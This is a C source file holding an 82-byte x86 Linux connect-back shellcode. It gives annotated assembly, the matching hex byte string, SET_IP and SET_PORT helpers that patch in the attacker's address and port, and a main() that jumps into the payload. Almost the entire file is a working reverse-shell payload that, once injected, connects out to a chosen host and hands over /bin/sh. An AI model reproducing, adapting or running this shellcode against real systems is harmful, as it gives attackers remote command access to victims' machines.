/*---------------------------------------------------------------------------* * 82 byte Connectback shellcode * * by Benjamin Orozco - [email protected] * *---------------------------------------------------------------------------* * filename: x86-linux-connectback.c * * discription: x86-linux connect back shellcode. Use SET_PORT() and * * SET_IP() before using the shellcode. Example: * * * * SET_IP(sc, "192.168.13.22"); * * SET_PORT(sc, 31337); * * * *___________________________________________________________________________* *---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------* * ASM Code * *---------------------------------------------------------------------------* # s = socket(2, 1, 0) push $0x66 # pop %eax # 0x66 = socketcall push $0x1 # pop %ebx # socket() = 1 xor %ecx,%ecx # push %ecx # 0 push $0x1 # SOCK_STREAM = 1 push $0x2 # AF_INET = 2 mov %esp,%ecx # Arguments int $0x80 # EXECUTE - Now %eax have the s fileDescriptor # connect(s, [2, 64713, 127.127.127], 0x10) push $0x7f7f7f7f # 127.127.127 = 0x7f7f7f7f pushw $0xc9fc # PORT = 64713 pushw $0x2 # AF_INET = 2 mov %esp,%ecx # %ecx holds server struct push $0x10 # sizeof(server) = 10 push %ecx # server struct push %eax # s fileDescriptor mov %esp,%ecx mov %eax,%esi # now %esi holds s fileDescriptor [for connect()] push $0x3 # pop %ebx # connect() = 3 push $0x66 # pop %eax # 0x66 = socketcall int $0x80 # On success %eax = 0 # dup2(s, 2) , dup2(s, 1) , dup2(s, 0) xchg %esi,%ebx # Put s fileDescriptor on %ebx [for dup2()] push $0x2 pop %ecx dup_loop: mov $0x3f,%al # dup2() = 0x3f int $0x80 dec %ecx jns dup_loop # execve("/bin//sh", ["/bin//sh",NULL]) mov $0xb,%al # execve = 11d xor %edx,%edx push %edx push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %edx push %ebx mov %esp, %ecx int $0x80 *----------------------------------------------------------------------------*/ char sc[] = "\x6a\x66" //push $0x66 "\x58" //pop %eax "\x6a\x01" //push $0x1 "\x5b" //pop %ebx "\x31\xc9" //xor %ecx,%ecx "\x51" //push %ecx "\x6a\x01" //push $0x1 "\x6a\x02" //push $0x2 "\x89\xe1" //mov %esp,%ecx "\xcd\x80" //int $0x80 "\x68\x7f\x7f\x7f\x7f" //push $0x7f7f7f7f //IP "\x66\x68\xfc\xc9" //pushw $0xc9fc //PORT "\x66\x6a\x02" //pushw $0x2 "\x89\xe1" //mov %esp,%ecx "\x6a\x10" //push $0x10 "\x51" //push %ecx "\x50" //push %eax "\x89\xe1" //mov %esp,%ecx "\x89\xc6" //mov %eax,%esi "\x6a\x03" //push $0x3 "\x5b" //pop %ebx "\x6a\x66" //push $0x66 "\x58" //pop %eax "\xcd\x80" //int $0x80 "\x87\xf3" //xchg %esi,%ebx "\x6a\x02" //push $0x2 "\x59" //pop %ecx "\xb0\x3f" //mov $0x3f,%al "\xcd\x80" //int $0x80 "\x49" //dec %ecx "\x79\xf9" //jns 34 <dup_loop> "\xb0\x0b" //mov $0xb,%al "\x31\xd2" //xor %edx,%edx "\x52" //push %edx "\x68\x2f\x2f\x73\x68" //push $0x68732f2f "\x68\x2f\x62\x69\x6e" //push $0x6e69622f "\x89\xe3" //mov %esp,%ebx "\x52" //push %edx "\x53" //push %ebx "\x89\xe1" //mov %esp,%ecx "\xcd\x80"; //int $0x80 void SET_PORT(char *buf, int port) { *(unsigned short *)(((buf)+24)) = (port); char tmp = buf[24]; buf[24] = buf[25]; buf[25] = tmp; } void SET_IP(char *buf, char *ip) { unsigned long backip = inet_addr(ip); *(unsigned long *)(((buf)+18)) = (backip); } main(){ printf("size: %d bytes\n", strlen(sc)); SET_PORT(sc, 33333); SET_IP(sc, "127.0.0.1"); __asm__("call sc"); }